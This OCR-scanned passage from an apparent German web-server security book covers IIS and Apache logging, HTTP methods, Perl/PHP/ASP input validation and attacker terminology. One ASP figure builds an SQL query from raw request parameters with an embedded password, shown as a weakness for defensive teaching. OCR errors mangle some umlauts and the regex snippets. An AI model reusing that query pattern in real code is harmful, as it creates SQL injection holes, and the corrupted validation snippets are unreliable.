- ODBC ist eine Option, mit der die Protokolle direkt {iber eine ODBC-
Datenquelle in einer Datenbank gespeichert werden kénnen.

- W3C-erweitert ist ein Protokollformat, das dem Standard des W3C (World
Wide Web Consortium) entspricht. Die Protokolldateien werden im ASCII-
Format gespeichert, und der Inhalt kann angepasst werden. Alle Zeitein-
trage werden in UTC-Zeit aufgezeichnet.

In den Logfiles werden Sie verschiedene Statusmeldungen in Form einer dreistelli-
gen Zahl (z.B. 400) und manchmal kombiniert mit einer Nachkommastelle (z.B.
401.1) sehen (Siehe dazu auch Statuscodes des IIS [/19/]).

Wenn Sie diese Logfiles jeden Tag kontrollieren mochten, werden sie merken, wie
miihselig das Auslesen der Textfiles ist. Zur Auswertung der Logfiles konnen
Tools genommen werden, die einerseits von Microsoft mitgeliefert werden, wie
z.B. Siteserver Express, oder Sie abeiten mit kommerziellen Tools, wie z.B. Mesca-
lero von Rendle Software?”. Es gibt daneben zusétzlich eine Reihe von Open Source
Tools, wie z.B. den Webalyzer'® oder Analog®. Vorteil der beiden Letztgenannten
ist, dass sie fiir fast alle gangigen Betriebssysteme verfiigbar sind und ebenfalls alle
gangigen Logformate verarbeiten konnen, was einen Wechsel auf ein neues Be-
triebssystem erleichtert. Speziell das Programm Analog sei hier erwahnt.

4.3 Protokolldateien des Apache-Servers

Der Apache Web-Server schreibt seine Daten in mehrere Dateien. Er unterscheidet
in eine Logdatei fiir Zugriffe und eine fiir Fehlermeldungen. Bei virtuellen Servern
ist es ratsam, fiir jeden Server eigene Logdateien anzulegen, um eine eventuelle

17 http://www.rendle.de/software/mescalero.html
18 http://www.mrunix.net/webalizer/

19 http://www.analog.cx
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Fehlerquelle schneller zu lokalisieren. Empfohlen werden Namenszusitze, z.B. der

Servername des virtuellen Servers wie z.B. , access_domain.com_log”.

Bei der Installation eines Apache Web-Servers werden zwei Logfiles angelegt:

error_log (unter Windows die error.log)

In der error_log werden alle Fehlermeldungen protokolliert.

Beispiel:

[Mon May 06 10:30:10 2006] [error] No such file or directory: File does not
exist: /usr/local/apache/htdocs/icons/test.gif

access_log (unter Windows die access.log)

In dieser Datei werden alle Zugriffsstatistiken gefiihrt. Jeder Datensatz be-
steht aus 7 Attributen und geht konform mit dem Common Logfile Format
(CLF).

Beispiel:

192.168.74.200 - - [12/May/2006:10:19:01 -400] "GET / index.htm /HTTP/1.0"
200 456

Den Log Level fiir die Fehlermeldungen, also den Detaillierungsgrad, den eine
Logdatei beschreibt, kann vorgegeben werden. Dazu findet man in der Konfigura-
tionsdatei den Punkt ,, LogLevel”. Folgende Werte konnen eingetragen werden:

e debug: Alle Meldungen werden protokolliert. Nutzung bei einem
Fehlverhalten des Apache, um detaillierte Informationen zu be-
kommen.

e info: Zusitzlich zu den unter “notice” protokollierten Daten wer-
den noch Informationen zu Serverprozessen weggeschrieben.

e notice: Der normale Ablauf des Apache protokolliert. Dies ist
wahrscheinlich die meist genutzte Einstellung.

e warn: Fehlermeldungen werden aufgezeichnet. Unter diesem Wert
werden auch Fehlermeldungen eines anfragenden Client, die fiir
diesen nicht sichtbar sind, aufgezeichnet.

e error: Es werden ebenfalls die Fehler protokolliert, die ein anfra-
gender Client zu sehen bekommt, z.B. bei einer nicht gefundenen
Datei.

e crit: Alle Fehler, die einen kritischen Fehler bedeuten, werden pro-
tokolliert, z.B. Prozessabbriiche.

15
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e alert: Protokollierung von Fehlern, die den Systemablauf beein-
flussen oder stoppen kénnen.

e emerg: Falls das System nicht mehr ansprechbar ist, kann mit die-
ser Einstellung nach den Problemen gesucht werden. Dies ent-
spricht der hochsten Sicherheitsstufe.

Fiir die Zugriffsdatei (access) ist es ebenfalls mdglich, durch eine Konfiguration die
Protokollierung zu filtern.

Es ist nicht nur wichtig zu wissen, was auf dem Apache Web-Server nicht korrekt
lauft, sondern wer auf welche Ressourcen zugreift.

Hierzu kann die Access-Datei hilfreich sein. Uber die Anweisungen ,,CustomLog”
und , LogFormat”, die mit dem Modul ,mod_log_config” genutzt werden kénnen,
wird der Administrator in die Lage versetzt, die Ausgaben in die Access-Datei zu
steuern.

Beide Logdateien werden bei einer Standardinstallation in den Pfad
»/usr/local/apache/logs” geschrieben.

4.4 Wie funktioniert ein Web-Server

Bevor ein Web-Server installiert wird, sollte sich der Administrator dariiber im
Klaren sein, wie dieser funktioniert.

Die meisten Web-Server funktionieren intern nach dem gleichen Prinzip. Ein
Browser stellt eine Anfrage an den Server (z.B. ein HTML-Request). Der Web-
Server fragt das File-System nach der angefragten Datei ab. Dieses sendet die ge-
suchte Datei, falls vorhanden, zuriick an den Server, der sie an den Browser auslie-
fert.

Dass bei einer Anfrage an einen Web-Server weitaus komplexere Ablaufe und Ab-
fragen stattfinden, sollte jedem Administrator klar sein, angefangen beim aufru-
fenden Browser, der iiber eine URL (Uniform Resource Locator) den Request ge-
nau definiert.

Bei einer Anfrage nach der Apache Webseite http://www.apache.org:80/ index.html
werden folgende Informationen ausgewertet:

- Protokoll: Uber das Verbindungsprotokoll HTTP (HyperText Transfer Pro-
tocol) wird eine Kommunikation iiber das Netzwerk aufgebaut. HTTP ist
das am meisten genutzte Protokoll im Internet.

16



4.4 Wie funktioniert ein Web-Server

- Serverbezeichnung/Servername: Nach der Spezifikation des Protokolls
wird die Adresse des Ziels definiert, der Servername. In diesem Fall
www.apache.org.

- Port: Nachfolgend kann eine Portnummer benannt werden. Wird bei einer
URL keine Portnummer mit angegeben, wird automatisch der Port 80 ange-
steuert. Eine Ausnahme ist der Aufruf einer gesicherten Verbindung {iber
HTTPS. Dann wird der Port 443 am Server angesprochen.

- Dateibezeichner: Am Ende der URL steht die Dateibezeichnung, die aufge-
rufen werden soll. In diesem Fall ist es die Datei index.html.

Der Client wandelt die Adresse in eine IP-Adresse um. Uber dieser IP-Adresse
stellt der Browser die Verbindung mit dem Server her. Ist die Verbindung erfolgt,
tibermittelt der Browser seinen Request an den Server tiber den Port 80 (bei einer
gesicherten Verbindung 443). Diesen Request nennt man auch GET Request. Der
Client fragt die Datei index.html ab. Akzeptiert der Server diese Anfrage, sendet er
die Datei an den Client zuriick. Der Browser interpretiert die Datei als HTML-Text
und stellt die Webseite dementsprechend dar. Er formatiert die Datei entsprechend
der enthaltenen Tags um und rendert die Datei.
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5 Zugriffsmethoden (Request Methods)

Ein Web-Server hat und bedient mehrere Zugriffsmethoden. Er muss Re-
questanfragen (GET) beantworten und sollte in der Lage sein zu senden (POST).

Die GET- und die HEAD-Methode miissen von allen Web-Servern unterstiitzt
werden. Alle anderen Methoden sind optional. Fiir eine nicht erlaubte Methode
sollte ein Web-Server als Antwort den Code 405 (Method Not Allowed) und falls
eine angeforderte Methode nicht implementiert wurde 501 (Not Implemented) zu-
riickgeben.

Alle Methoden sind im HTTP-Protokoll (HTTP 1.0/ RFC 1945 und 1.1/RFC 2616)
verankert und auch dort beschrieben?.

5.1 GET-Methode

Die GET-Methode ist wahrscheinlich die dlteste Methode beim http-Protokoll, die
ein Web-Server bedienen kann.

Um beim Beispiel aus Kapitel 4 zu bleiben, konnte eine GET-Anfrage folgendes
Aussehen haben:

GET /index.htm]l HTTP/1.1

Host: www.apache.org
User-Agent: Mozilla/4.0

Accept: image/gif, image/jpeg, */*

Connection: close

Abbildung 2: GET Request

2 Vergleiche dazu: http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html
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Wird der GET-Methode noch eine Suchanfrage in der Form ,search?q=Birenfalle”
tibergeben, muss diese Anfrage formatiert werden, so dass alle Sonderzeichen
(Umlaute etc.) umgewandelt werden. Die Anfrage wird als ,search?q=B%C3%A4
renfalle” behandelt.

Sonderzeichen werden als Prozentzeichen (%) gefolgt vom ASCII-Wert des Son-
derzeichens im Hexadezimalformat ersetzt. Eine Ausnahme bildet das Leerzei-
chen, das als "%20" (ASCII-Wert) oder aber auch als "+" (Plus) dargestellt wird.

Die GET-Methode wird genutzt, um z.B. CGI-Skripten oder Dateien aufzurufen.

5.2 HEAD-Methode

Die HEAD-Methode ist vergleichbar mit der GET-Methode, da auch die HEAD
Methode Requests an den Web-Server sendet. Der Unterschied zwischen den bei-
den Methoden liegt darin, dass die HEAD-Methode keinen Message Body an den
Client zuriicksendet. Der Sinn der HEAD-Methode liegt im Zuriickliefern eines
HTTP-Headers. Die Meta-Informationen sollten identisch mit den Informationen
sein, die eine GET-Methode geliefert hat. So konnen Informationen {iber Entitaten
abgerufen werden, die durch den Request impliziert wurden. Diese Methode wird
oft fiir Testmethoden genutzt, um Links auf Validitat und Zugriffsmoglichkeiten
zu {iberpriifen.

5.3 POST-Methode

Diese Methode wird hauptséchlich genutzt, um in Web-Foren Nachrichten, die in
einer URI definiert werden, zu senden, also zu posten. Die POST-Methode gibt
dem Web-Server die Hinweise, Nachrichten entgegenzunehmen, die vom Client
gesendet werden. Typischerweise ist in der URI als Ressource ein CGI-Formular
oder ein serverseitiges Skript angegeben.
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5.4 PUT-Methode

5.4 PUT-Methode

Die PUT-Methode wird genutzt, um Dateien an die in der URI definierte Ressource
zu lbertragen. Wenn der Server es zuldsst, werden diese Dateien dort auch gespei-
chert.

5.5 DELETE-Methode

Wenn der Client einen Web-Server anspricht, steht in der mitgelieferten URL die
gewdiinschte Ressource, die erreicht und abgerufen werden soll. Wie der Name die-
ser Option bereits impliziert, kann damit die gewiinschte Ressource auf dem Web-
Server geloscht werden. Diese Methode ist neu in der http-Version HTTP/1.1.

5.6 LINK-Methode

Die LINK-Methode baut eine oder mehrere Verbindungen (Links) einer existieren-
den Quelle, die durch einen URI identifiziert wird, zu einer weiteren existierenden
Quelle auf. Sie ist nicht in RFC1945 definiert und in HTTP 1.0 nicht implementiert.

5.7 UNLINK-Methode

Die UNLINK-Methode entfernt einen oder mehrere Verbindungen (Links) einer
existierenden Quelle, die durch einen URI identifiziert wird, mit einer weiteren
existierenden Quelle.

Sie ist nicht in RFC1945 definiert und in HTTP 1.0 nicht implementiert.

5.8 TRACE-Methode

Die TRACE-Methode wird idealerweise benétigt, um zu ermitteln, wie ein Server
Requests eines Clients versteht und behandelt.
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5.9 OPTIONS-Methode

Die OPTIONS-Methode wird benétigt, um dem Client mitzuteilen, welche Optio-
nen ein Web-Server unterstiitzt. Nach der Ermittlung aller moglichen Optionen,
die ein Server bietet, kann der Client seine gewiinschten Optionen mit dem Server
aushandeln.

5.10 CONNECT-Methode

Die CONNECT-Methode wird genutzt, um eine Proxy-Verbindung herzustellen,
die in der URI spezifiziert wurde. Diese Methode ist neu in der http-Version
HTTP/1.1.

5.11 Weitere Methoden

Web-Server bieten weitere Methoden, die hier der Vollstandigkeit halber aufgelis-
tet werden. Zur Erklarung sei auf RFC 1945 verwiesen. Dazu gehoren z.B.:
PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK und UN-
LOCK.

Was kann aus diesem Kapitel auf das eigene Netzwerk iibertragen werden?

Informieren Sie sich tiber Ihren Web-Server. Bringen Sie in Erfahrung, welche Me-
thoden implementiert sind. Sehen Sie sich in diesem Zusammenhang ihre Logfiles
an (siehe dazu auch Kapitel 4 , Protokolle, Datenverkehr und Logfiles”). Dort kon-
nen auch die einzelnen Methoden verfolgt werden, also wie die Requests ausse-
hen, die an den Server gesendet werden.

Priifen Sie Mittel und Wege, bestimmte Methoden (Delete etc.) auf Ihren Web-
Servern zu blocken. Siehe dazu die Kapitel zu SNORT und ModSecurity (Kapitel
14.1.7,, Tools und Programme zur Absicherung”).
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6 Programmiersprachen im WWW

Sobald die Nutzung einer Webseite von der reinen Darstellung fester Inhalte ab-
weicht und hingeht zu einem z.B. Online Shop, werden dynamische Seiten und
Funktionen, wie Datenbankabfragen, Kontaktformulare oder Bezahlvorgénge, be-
notigt.

Dies ldsst sich mit einer reinen HTML-Programmierung nicht mehr realisieren.

Im Internet ist eine Vielzahl von Programmier- und/oder Skriptsprachen verbreitet,
die sich zur Lésung solcher Anforderungen anbieten. Es kommen hin und wieder
einige neue Sprachen hinzu, die oftmals als neuer Hype angepriesen werden, nach
ein paar Jahren jedoch wieder von der Bildflache verschwinden.

Hier sollen (und konnen) nicht alle Sprachen erldutert werden. Es soll auch nicht
zwischen einer Programmier- und einer Skriptsprache unterschieden werden. Fiir
Sie als Betreiber einer Webseite ist es im Endeffekt gleichgiiltig, ob Sie eine Skript-
oder eine Programmiersprache verwendet haben, nachdem Ihr Onlineshop ge-
hackt wurde.

Im weiteren Verlauf wird von Programmiersprache die Rede sein. Gemeint sind
alle Formen von Computersprachen, die zur Programmierung von Webseiten ge-
nutzt werden kénnen. Es sollen vielmehr die Gefahren aufgezeigt werden, die sich
im Zusammenhang mit der Nutzung dieser Sprachen ergeben. Diese Gefahren ste-
hen reprasentativ fiir alle Programmiersprachen, auch wenn deren Befiirworter
etwas anderes dariiber sagen. Jede Programmiersprache hat Bugs im Code. Es sind
fehlerhafte Funktionen implementiert, die z.B. einen Buffer Overflow zulassen und
somit die Moglichkeit schaffen, Befehle im Kontext des Benutzers des Web-Servers
laufen zu lassen.

6.1 Perl

Die Programmiersprache Perl, 1984 von Larry Wall entwickelt, ist eine einfach zu
erlernende Sprache mit einem sehr méachtigen Funktionsschatz.
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6 Programmiersprachen im WWW

Vom Design her sind Perlprogramme schnell und einfach geschrieben. Das folgen-
de Programm (test.pl) iibernimmt Argumente beim Programmstart aus der Zeile
der Kommandoshell und gibt sie in der néchsten Zeile aus.

# test.pl

# Kommandozeile auslesen und wiedergeben
@parameter = @QARGV;

$ausgabe = $paramater[0];

print "$ausgabe! \n";

% perl test.pl "Ausgabe in der Kommandozeile"
Ausgabe in der HKommandozeile?

5

Abbildung 3: Ausgabe Perlprogramm

Dieser lokale Aufruf eines Perlprogramms ist eher selten. Perl wird meist in eine
HTML-Seite eingebunden, um z.B. Formulare von einem Kunden auszufiillen. Die
gesammelten Daten im HTML-Design einer <input> and <fextarea>-Anweisung
werden dann mittels einer Perl-Anwendung und der POST-Methode z.B. an einen
Emailserver gesendet, so dass diese von einem Mitarbeiter der Firma weiter bear-
beitet werden konnen (Kontaktdaten, Anfragen etc.):

»<form method=POST action="/cgi-bin/bearbeiten.pl"></form>".

Die HTML-Datei ruft die Datei , bearbeiten.pl” auf und iibertrdgt die vom Anwen-
der eingetragenen Formulardaten an z.B. den Mailserver.

Die iibertragenen Zeichen miissen, bevor sie versendet werden, auf ihre Giiltigkeit
hin tiberpriift werden. Legen Sie einen Zeichenvorrat fiir Ihre Formulardateien
fest. Vermeiden sie Sonderzeichen in den einzelnen Feldern, es sei denn, sie sind
zwingend notig, wie bei einer Emailadresse das ,@”-Zeichen.

Uberpriifen Sie auch, ob eine Emailadresse eingetragen wurde, die unerwiinschte
Sonderzeichen enthilt, z.B. mit der Abfrage:

if ($emailadresse !~ /N \w.-[+\@[\w.-]+$/) {...}*
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6.2 PHP

Die beiden ,,/“ stehen fiir den Beginn und das Ende des reguldren Ausdrucks. Mit
,\“ wird der Beginn des Einlesens eines Stringsausdrucks angezeigt. Die Be-
fehlszeile priift, ob nach einer Kette von alphanumerischen Zeichen (inklusive ,_")
ein ,.” gesetzt wurde. Die Emailadresse wird auf das ,@” Zeichen {iberpriift
,+\@”. Der zweite Teil der Emailadresse nach dem , @“ Zeichen wird ebenfalls auf
das Einhalten der erlaubten Zeichenkette hin kontrolliert , \w.-]+, und endet mit

//$/’,‘

6.2 PHP

Neben ASP und Perl ist PHP die am meisten serverseitig genutzte Skriptsprache.

PHP wird iiberwiegend auf Unixsystemen in Verbindung mit dem Apache-Server
eingesetzt. Das PHP-Modul ist das am stdrksten genutzte Modul beim Apache
Web-Server.

PHP hat einen dhnlichen Funktionsumfang wie Perl. Somit treten auch hier analo-
ge Schwichen auf, die es einem Angreifer ermoglichen, Zugriff auf Ihre Systeme
und Daten zu erlangen. Besonders im Umgang mit Datenbanken wird PHP immer
wieder eingesetzt, und das auch zu Recht. PHP bietet eine schnelle und bequeme
Anbindung an alle giangigen Datenbanken.

Leider lassen die Programmierer dabei immer wieder die notige Sorgfalt aufier
Acht. Durch eine mangelhafte oder fehlende Uberpriifung der Eingaben in einem
Suchfeld kann ein moglicher Angreifer durch einen Buffer Overflow eigene Anfra-
gen an die Datenbank senden oder Zugriff auf das Betriebssystem erlangen. Durch
eine nicht begrenzte Anzahl des Suchfeldes konnen Befehlsketten mitgegeben
werden.

Vergleichbar mit Perl sollten Sie auch nur reguldre Ausdriicke verwenden. Mit
dem folgenden Codeschnipsel konnen Sie einen String parsen, der nur die von Ih-
nen gewollten Zeichen enthilt:

if (preg_match(”/"a-z0-9]+$/i", $string))
return 1;
break;

Mit ,preg_match” konnen Sie eine Suche mit einem reguldren Ausdruck durchfiih-
ren. Dabei werden alle Zeichen aufier den hier aufgefiihrten ,[a-z0-9]” ausgefiltert
und als Fehler (“break”) behandelt.
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Es kann nicht oft genug darauf hingewiesen werden, dass Sie ihren Code hinsicht-
lich solcher Abfragen erweitern und iiberpriifen lassen sollten. Fiihren Sie Code
Audits durch, oder lassen Sie diese von einem unabhéangigen Unternehmen vor-
nehmen. Beauftragen Sie in diesem Zusammenhang ein Unternehmen, das Ihren
Web-Auftritt nicht entwickelt hat.

6.3 ASP

Als letzte Sprache soll nun die bei Servern von Microsoft am meisten verwendete
Skript-Umgebung angesprochen werden.

Active Server Pages (ASP) erlaubt die Kombination und gleichzeitige Nutzung von
HTML-Seiten, Skriptsprachen und die Anwendung serverseitiger ActiveX Module
und Komponenten.

Die meistverwendete Skriptsprache bei ASP-Seiten ist VBSkript. VBSkript kann auf
zwei Arten genutzt werden. In der serverseitigen Form, gekennzeichnet durch die
.<%@” und ,%>" Tags, und durch die clientseitige Form der Ausfiihrung unter
HTML durch die ,<script>" Tags.

<%@ language="VBScript” %>

<html>

<body>

<h1>Beispiel fiir eine serverseitige Anwendung:</h1>
<% =weekday %>

</body>

</html>

Abbildung 4: ASP Beispiel serverseitige Ausfithrung
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<html>

<body>

<script type="text/vbscript”>

document.write("<h1>Beispiel fiir eine clientseitige Ausfiihrung: </h1>")
document.write("<br>" & weekday(date) & “<br>")

</script>

</body>

</btmi>

Abbildung 5: ASP Beispiel clientseitige Ausfithrung

Hier ein Beispiel fiir eine MS Access-Datenbankanbindung;:

Wenn Sie sich den Teil des Datenbankzugriffs ansehen, werden Sie feststellen, dass
ein Passwort {ibergeben wird. Nun kann ein Angreifer ansetzen, um seinen uner-
laubten Zugriff auf die Datenbank vorzunehmen.

<%
/I Datenbankanbindung Teil 1
SET myConn = SERVER.CreateObject("adodb.connection”)
DBpath = SERVER.MapPath(”_private”)
strConn = "PROVIDER=Microsoft.Jet. OLEDB.4.0, DATA SOURCE="
strConn = strConn & DBpath & "Jet OLEDB:Database Password= <passwort>"
strConn = strConn & " \datenbank.mdb;”
myConn.Open (strConn)

dob = "#" & request("day”) & "I” & request("month”) & /" & request("year”) &
nyn

SQLStr = "SELECT * FROM STUDENT WHERE STUDENTNO = " &
request(”studentno”) & " AND DOB=" & dob

‘response.write(SQLStr)
SET result = myConn.execute(SQLStr)
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If NOT result. EOF THEN
Do while not result. EOF
{Anzeige des Datensatzes}
ELSE
//Fehlerbehandlung

%>

/I Datenbankanbindung Teil 2
<BODY>
<H2><FONT COLOR="#8000FF "></H2>
<fieldset><legend><b>Error occured</b></legend>
<table>
<tr>
<%
response.write(”Error Wrong Date or Student Number - Please try again!!”)
%>
</tr>
<li><a href="http://home. XX XX XXX XX.delassessment2.asp”>Back</a></li>
</table>
</fieldset>
</BODY>
<%
END IF

%>

Abbildung 6: SQL Zugriff mit VBScript
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Losen Sie solche Zugriffe durch die , global.asa” Datei. Sie ist eine globale Konfigu-
rationsdatei, in der z.B. solche Datenbankzugriffe definiert werden konnen, ohne
dass Passworter im Quelltext erscheinen.

Was kann aus diesem Kapitel auf das eigene Netzwerk iibertragen werden?

Es konnen nahezu alle Programmiersprachen von einem Angreifer ausgenutzt
werden. Programmiersprachen sind in ihren Funktionen so komplex, dass es na-
hezu unmoglich ist, vor der Auslieferung einer neuen Releaseversion alle Fehler zu
finden. Aufgabe des Entwicklers und des Betreibers der Webseite ist es, die Spra-
che zu kennen, um eine mdgliche Gefahr durch einen Bug in dem Release zu fin-
den und zu beseitigen, sei es durch ein Update der Releaseversion oder durch eine
entsprechende Anpassung des eigenen Codes.

Schauen Sie auf den entsprechenden Webseiten des Lieferanten der Programmier-
sprache nach unter http://www.w3.org fiir weitere Informationen.

Uberpriifen Sie den Code Threr Webseiten oder lassen Sie ihn iiberpriifen. Testen
Sie ihre Webseiten, speziell die Funktionen, in denen Nutzer Ihrer Seiten Formula-
re ausfiillen konnen, wie z.B. ein Kontakt- oder ein Adressformular.

Uberpriifen Sie, ob Eingaben gemacht werden konnen, die Sie nicht vorgesehen
haben, wie z.B. Sonderzeichen oder Befehlsketten fiir einen Kommandoshellaufruf.
Erlauben Sie nur eine fest definierte Zeichenmenge (Buchstaben und Zahlen) und
bestimmen Sie die Lange eines jeden Feldes.

Vergleichen Sie diese Lange mit den eventuell in einer Datenbank definierten Lan-
gen eines Feldes. Damit verhindern sie einen Buffer Overflow.

Uberpriifen Sie, unter welchem Nutzer der Web-Server gestartet wurde. Lassen Sie
ihn nicht als ,,Root” oder unter einem User laufen, der Administratorrechte besitzt.
Als Konsequenz konnte ein Angreifer sich diese Privilegien zunutze machen und
die Root-Rechte missbrauchen.

Ubernehmen Sie nicht einfach die Vorgaben Thres Betriebssystems. Kontrollieren
Sie auch Thre Pfadangaben. Fiir Perl stehen dafiir entsprechend die $PATH und
$IFS-Variablen. Passen Sie diese explizit an Ihr System an. Ansonsten konnte ein
Angreifer diese Pfade dndern und Dateien ausfiihren, die nicht in Ihrem Sinne
sind.

Uberpriifen Sie die Installation eines Intrusion Detection und Prevention Systems.
Siehe dazu auch Kapitel 14.1.7 ,, Tools und Programme zur Absicherung”.

29



7 Hacker, Tools und Methoden

Um sich einen Uberblick iiber Thre Systeme und installierten Dienste zu machen,
aber auch um einen eigenen ersten Sicherheitscheck durchzufiihren, bendtigen Sie
einige Tools ebenso wie Methoden, also Vorgehensweisen, wie Sie Informationen
sammeln und auswerten kdnnen.

7.1 Abgrenzung: Hacker, Cracker, Angreifer

In vielen Artikeln, sei es in Fachzeitschriften oder in Tageszeitungen und anderen
Mlustrierten wird immer wieder von Angriffen auf Web-Server berichtet, wie z.B.
im Friithjahr 2003 vom Einbruch in die Server des Linux Distributors Debian. In
diesem Zusammenhang werden die Begriffe Hacker und Cracker (manchmal liest
man auch etwas liber den Ausdruck ,Cyberpunk”) synonym und im gleichen
Kontext verwendet. In anderen Berichten wird vom , Ethical Hacking” oder vom
., Ethical Hacker” gesprochen.

Schon seit vielen Jahren debattieren Anwender im Internet {iber diese beiden
Begriffe und den Unterschied zwischen einem Hacker und einem Cracker.

Bezeichnet wird oft mit dem , Begriff Hacker/Cracker eine Person, die aufgrund speziel-
len Fachwissens iiber Computersysteme und -software zumeist heimlich oder unberechtigt
in die Systemintegritit eines fremden Rechners bzw. Rechnernetzes eindringt.” [/1/]

Der Cracker gilt als Krimineller, der bewusst einen Schaden im Sinne des StGB
durch seine Aktivitaten verursacht. So spioniert er z.B. fremde Daten aus und/oder
manipuliert diese. Dagegen bezeichnet man die Person des Hackers haufig als je-
manden, der seine Systeme und Dienste zu Forschungszwecken durchsucht und
dementsprechende Tools anwendet, um eventuelle Sicherheitsliicken aufzuspiiren.
Dabei kann man sagen, dass der Ubergang vom Hacker zum Cracker meist flie-
end zu sehen ist. Oft werden diese Begriffe auch synonym verwendet und so ver-
standen.

Andere Meinungen unterscheiden die beiden Begriffe etwas differenzierter. Ein
Hacker ist demnach ,eine Person, die sich fiir die geheimnisvollen und verborgenen Ar-
beitsweisen eines jeglichen Betriebssystems interessiert. Hacker sind meistens Programmie-
rer. Als solche erhalten Hacker ein fortgeschrittenes Wissen iiber Betriebssysteme und Pro-
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grammiersprachen. Sie konnen Sicherheitslocher in Systemen und die Griinde dafiir entde-
cken. Hacker sind stindig auf der Suche nach weiterem Wissen, teilen freimiitig ihre Ent-
deckungen mit und wiirden nie und nimmer absichtlich Daten zerstiren.

Ein Cracker ist jemand, der boswillig in die Systemintegritit eines entfernten Rechners
einbricht bzw. sie auf andere Weise schidigt. Nachdem Cracker unautorisierten Zugang
erhalten haben, zerstoren sie wichtige Daten, verweigern Dienste fiir legitime Benutzer
oder verursachen grundsitzliche Probleme im Arbeitsablauf des angegriffenen Rechners.
Cracker konnen sehr leicht identifiziert werden: ihre Absichten sind biswillig” [ANO-
NYM99].

Da es fiir den Administrator eines Systems unerheblich ist, ob sein Web-Server
oder einer seiner Dienste von einem Hacker oder einem Cracker iiberlistet worden
ist und in der Praxis solche strengen Definitionen nicht wirksam sind, wird in den
folgenden Kapiteln von den beiden Bezeichnungen abgewichen und fiir beide syn-
onym der Begriff ,, Angreifer” verwendet. Sei es der eigene Systemadministrator
oder die studentische Aushilfskraft, die ein paar neue Tools ausprobieren mochte,
Ihre Systeme sollten vor solchen Ein- und Angriffen geschiitzt werden. Zentrale
Aspekte der IT-Sicherheit sind Angreifer und Angriffe. Es wird in diesem Zusam-
menhang von Angreifern gesprochen, die eine oder mehrere Aktionen durchfiih-
ren, um Ressourcen der rechtmafligen Eigentiimer zu missbrauchen.

Angreifer wiederum werden in unterschiedliche Kategorien eingeteilt. In diesem
Zusammenhang werden diesen Kategorien Attribute zugeordnet:

- Verhalten:
Das Verhalten eines Angreifers kann zufillig oder detailliert und ge-
plant sein. Ein Angreifer kann sein Verhalten also planen und sich eine
genau definierte Vorgehensweise zurechtlegen, um sich Zugang zu ei-
nem Netzwerk zu verschaffen. Oder er gerdt zufillig in die Rolle des
Angreifers, wenn er z.B. bei dem Aufruf einer URL an versteckte Hin-
weise (Passworter, Links etc.) gerat.

- Motivation:
Welche Motive hat ein Angreifer? Mochte er Ressourcen sabotieren
oder Dateien kopieren, um diese dann an Mitbewerber weiterzuver-
kaufen (Spionage)?

- Lokation:
Hiermit ist der physikalische Zugangsbereich gemeint. 80 % der An-
greifer kommen erfahrungsgemafs aus dem eigenen Netz, d.h. es sind
interne oder externe (Remote-Einwahl) Mitarbeiter mit Zugang zum
LAN oder Mitarbeiter einer Fremdfirma. Erfolgt der Angriff aus dem
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eigenen LAN heraus, eroffnen sich dem Angreifer eine Vielzahl von
Moglichkeiten. In den meisten Fallen sieht er sich nicht mehr mit einem
ausgekliigelten Sicherheitskonzept (Firewall, Passworte sind bekannt,
Netzstruktur nicht unbekannt etc.) konfrontiert, sondern kann auf viele
Ressourcen zugreifen, die ein externer Angreifer erst mithsam durch
Scanner ermitteln muss. Im weiteren Verlauf dieser Arbeit werden An-
griffszenarien auch aus dem internen LAN zur Verdeutlichung durch-
gespielt.
Ein Angriff ist daher eine meist vorsatzliche Handlung, um die Schutzeinrichtun-
gen einer Ressource zu umgehen oder die Schutzziele, die fiir eine Ressource gel-
ten, zu verletzen. Oftmals erhélt ein Angreifer durch einen oder mehrere Zufalle
Zugang zu Systemen, Passwortern und Daten.

Man spricht in diesem Zusammenhang auch von passiven und aktiven Angriffen.
Ein aktiver Angriff zielt auf die Veranderung einer Ressource hin (Lo-
schen/Verdandern/Zerstoren), wogegen ein passiver Angriff das Beobachten (z.B.
durch einen Sniffer wie Ethereal, NMap? etc.) des Datenverkehrs bezeichnet (z.B.
Herausfiltern von Kreditkarteninformationen). In beiden Fallen fiihrt ein erfolgrei-
cher Angriff zu einem Schaden. Diese Auswirkungen konnen unter anderem ein
administrativer Systemzugang sein oder die Verletzung eines Schutzzieles, wie
z.B. die weiter oben angesprochenen Schutzziele Vertraulichkeit, In-tegritat oder
Authentizitat.

Vertraulichkeit: Das elektronische Dokument kann von Unberechtigten nicht gele-
sen werden. Die Vertraulichkeit wird durch Verschliisselung garantiert.

Integritit: Unbefugte Manipulation durch Einfiigen, Andern oder Loschen des
Dokumentes wird entdeckt. Dieser Sicherheitsaspekt wird durch eine elektronische
Signatur erreicht.

Authentizitit: Das Dokument entstammt wirklich dem angegebenen Ursprung,
d.h. die Identitat des Kommunikationspartners ist zweifelsfrei beweisbar. Dieser
Sicherheitsaspekt wird durch eine elektronische Signatur erreicht.

Was kann aus diesem Kapitel auf das eigene Netzwerk {ibertragen werden?

Angreifer stellen eine Bedrohung fiir die jeweiligen Ressourcen eines Systems dar.
Gleichgiiltig, ob der Angreifer sich selbst als Hacker bezeichnet, der ,nur mal ein
paar Einstellungen durchprobieren mdchte”. Rufen Sie sich immer wieder ins Be-

2 Siehe auch http://www .ethereal.org, http://www.nmap.org und Kapitel 7.3
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wusstsein, dass die Systeme und die darauf befindlichen Daten fiir Ihr Unterneh-
men von existentieller Bedeutung sind. Sie gehen jeden Tag als Administrator oder
als Verantwortlicher in einer anderen Funktion mit diesen Systemen und Daten
um und haben eventuell die Bedeutung nicht mehr so im Blickfeld, wie ein neuer
Kollege. Denken Sie immer auch aus der Sicht eines Angreifers, versetzen Sie sich
in dessen Situation und denken Sie wie ein potentieller Angreifer. Wo haben sich
eventuelle Schwachstellen aufgetan, die durch Bequemlichkeit oder auch Zeitman-
gel noch nicht behoben wurden oder erst durch diese Griinde entstanden sind, z.B.
durch eine Remote-Einwahl, um sich den Weg in den Serverraum zu ersparen?

Uberdenken Sie in regelméBigen Abstinden ihre Systeme und Arbeitsprozesse.
Wie gehen Sie mit Passwortern um? Haben Sie eventuell ein Passwort fiir nahezu
alle Systeme? Geben Sie auch mal Passworter an Kollegen heraus, die am Wochen-
ende oder nach Feierabend noch arbeiten mochten und Zugriff auf Administrator-
dienste benétigen?

Wenn Sie bereits eine dieser Fragen bejahen mussten, lohnt sich eine weitere und
detailliertere Betrachtung Ihrer Systeme.

7.2 Typen und Klassifizierungen von Angriffsmethoden

